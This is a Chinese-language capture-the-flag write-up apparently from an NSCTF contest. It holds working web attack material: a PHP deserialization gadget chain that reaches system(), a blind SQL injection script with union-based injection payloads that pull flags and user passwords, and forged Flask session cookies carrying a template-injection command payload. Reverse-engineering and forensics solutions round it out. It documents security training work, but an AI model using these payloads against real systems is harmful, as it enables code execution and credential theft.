进hint.php
伪协议读index.php
class Tiger{
public $string;
protected $var;// 恶意参数
public function __construct($var){
$this->var = $var;
}
public function __toString(){
return $this->string;
}
public function boss($value){// 0
@eval($value);
}
public function __invoke(){// 1
$this->boss($this->var);
}
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function(); // 2
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="Zoo"){
$this->head = $here;
echo "Welcome to ".$this->head."
";
}
public function __wakeup(){//0
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){// 4
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;// 3
}
}
if(isset($_POST['zoo'])){
@unserialize($_POST['zoo']);
}
$pop = new Monkey();
$E = new Elephant();
$pop -> head = $E;
$L = new Lion();
$L -> tail = new Tiger("system('tac /f14g');");
$E -> nice = $L;
$a = urlencode(serialize($pop));
echo "\n";
echo $a;
// unserialize(urldecode($a));
//O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A20%3A%22system%28%27tac+%2Ff14g%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D
注释都给过滤了,我一开始没注意,费老半天劲不知道在干什么
然后直接闭合1’or 1='1可以回显
这里一开始就想着盲注了,后来才发现union也可以
import string
import requests
url = 'http://040bac98a927037e.node.nsctf.cn/index.php?id=1'
dic = string.ascii_letters+string.digits+'}{-,_'
xxx = ''
for i in range(1,666):
flag = True
print("正在注入第{}位".format(i))
for j in dic:
# payload = "'/**/%26%26if(substr(database(),{},1)=binary'{}',1,0)%26%26/**/1=/**/'1".format(i,j)
payload = "'/**/%26%26if(substr((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer),{},1)=binary'{}',1,0)%26%26/**/1=/**/'1".format(i,j)
res = requests.get(url=url+payload)
if '的人名字叫bob' in res.text:
xxx += j
flag = False
print(xxx)
if flag:
print(xxx)
break
# 数据库 web2
# 表 atable flag users sys_config
过滤information了
得无列名注入
-1'union/**/select/**/1,(select/**/`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1),3'
读账号
-1'union/**/select/**/1,(select/**/`1`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3'
读密码
-1'union/**/select/**/1,(select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users)a/**/limit/**/1,1),3'
进login.php登录就拿到flag了
一开始以为ssti,试半天发现怎样都不能注入
扫目录
source in /source"
return rsp
@app.route('/source')
def source():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index('source'):]
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return '~~~~~~hacker!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
flag = filter(flag)
message = "%s, I hope you have a good time!your flag is " % flag
return render_template_string(message)
else:
return "I don't know you"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
进admin session伪造
eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZFjw1A.zbhScChV5emlcs855_qO2RnToVQ
然后此处存在ssti
payload如下
eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJmbGFnIjoie3tsaXBzdW0uX19nbG9iYWxzX18ub3MucG9wZW4oJ2NkIC4uO2NhdCBmKicpLnJlYWQoKX19In19.ZFj8cQ._J4XAqO3oSWZR9tf9q-p2MDJCzY
rsa数学推导
核心代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Str2[64]; // [rsp+20h] [rbp-60h] BYREF
char Str1[256]; // [rsp+60h] [rbp-20h] BYREF
char Str[256]; // [rsp+160h] [rbp+E0h] BYREF
int v7; // [rsp+260h] [rbp+1E0h]
int k; // [rsp+264h] [rbp+1E4h]
int j; // [rsp+268h] [rbp+1E8h]
int i; // [rsp+26Ch] [rbp+1ECh]
sub_401D30(argc, argv, envp);
puts(&Buffer);
printf(&Format);
memset(Str, 0, sizeof(Str));
memset(Str1, 0, sizeof(Str1));
scanf("%s", Str);
v7 = strlen(Str);
if ( v7 != 38 )
{
printf(&byte_40504D);
exit(0);
}
for ( i = 0; i < v7; ++i )
Str[i] = ~Str[i];
for ( j = 0; j <= 99; ++j )
{
sub_401550(&Str[(j + 5) % v7], &Str[(j + 2) % v7]);
sub_401550(&Str[(j + 1) % v7], &Str[(j + 7) % v7]);
sub_401550(&Str[(j + 3) % v7], &Str[(j + 10) % v7]);
sub_401550(&Str[(j + 8) % v7], &Str[(j + 9) % v7]);
}
sub_401588(Str, Str1, 0i64);
Str2[0] = 51;
Str2[1] = 102;
Str2[2] = 39;
Str2[3] = 60;
Str2[4] = 39;
Str2[5] = 45;
Str2[6] = 40;
Str2[7] = 18;
Str2[8] = 36;
Str2[9] = 107;
Str2[10] = 109;
Str2[11] = 17;
Str2[12] = 36;
Str2[13] = 61;
Str2[14] = 113;
Str2[15] = 25;
Str2[16] = 48;
Str2[17] = 4;
Str2[18] = 39;
Str2[19] = 4;
Str2[20] = 36;
Str2[21] = 19;
Str2[22] = 43;
Str2[23] = 60;
Str2[24] = 38;
Str2[25] = 45;
Str2[26] = 109;
Str2[27] = 21;
Str2[28] = 51;
Str2[29] = 107;
Str2[30] = 104;
Str2[31] = 61;
Str2[32] = 38;
Str2[33] = 45;
Str2[34] = 63;
Str2[35] = 7;
Str2[36] = 39;
Str2[37] = 107;
Str2[38] = 105;
Str2[39] = 18;
Str2[40] = 53;
Str2[41] = 106;
Str2[42] = 18;
Str2[43] = 21;
Str2[44] = 51;
Str2[45] = 7;
Str2[46] = 13;
Str2[47] = 59;
Str2[48] = 51;
Str2[49] = 45;
Str2[50] = 7;
Str2[51] = 99;
for ( k = 0; k <= 51; ++k )
Str2[k] ^= 0x5Eu;
if ( !strcmp(Str1, Str2) )
printf(&byte_405060);
else
printf(&byte_405081);
return 0;
}
解密脚本
import base64
Str = []
Str.append(51)
Str.append(102)
Str.append(39)
Str.append(60)
Str.append(39)
Str.append(45)
Str.append(40)
Str.append(18)
Str.append(36)
Str.append(107)
Str.append(109)
Str.append(17)
Str.append(36)
Str.append(61)
Str.append(113)
Str.append(25)
Str.append(48)
Str.append(4)
Str.append(39)
Str.append(4)
Str.append(36)
Str.append(19)
Str.append(43)
Str.append(60)
Str.append(38)
Str.append(45)
Str.append(109)
Str.append(21)
Str.append(51)
Str.append(107)
Str.append(104)
Str.append(61)
Str.append(38)
Str.append(45)
Str.append(63)
Str.append(7)
Str.append(39)
Str.append(107)
Str.append(105)
Str.append(18)
Str.append(53)
Str.append(106)
Str.append(18)
Str.append(21)
Str.append(51)
Str.append(7)
Str.append(13)
Str.append(59)
Str.append(51)
Str.append(45)
Str.append(7)
Str.append(99)
res = ''
v7 = 38
for i in range(0,52):
Str[i] ^= 0x5E;
res = res + chr(Str[i])
bd_res = base64.b64decode(res)
res2 = []
for i in range(len(bd_res)):
res2.append(bd_res[i])
def swap(a1,a2):
tmp = res2[a1]
res2[a1] = res2[a2]
res2[a2] = tmp
for j in range(99,-1,-1):
swap((j+8)%v7, (j+9)%v7)
swap((j+3)%v7, (j+10)%v7)
swap((j+1)%v7, (j+7)%v7)
swap((j+5)%v7, (j+2)%v7)
flag = ''
for i in range(len(res2)):
res2[i] = 255 - res2[i]
flag += chr(res2[i])
print(flag)
追踪tcp流导出rar包
解压得到flag
追踪tcp流,导出zip包
里面一个password文件一个加密的文件
password文件尾是jpg
补个文件头FF D8
然后爆破宽高
改720
发现类似密码的东西
拿去解压缩包发现不对,一个个隐写工具试过去
发现steghide可行
得到密码
NjBjNDk3YmMxOTM4YzhkNA==
60c497bc1938c8d4
解压得到flag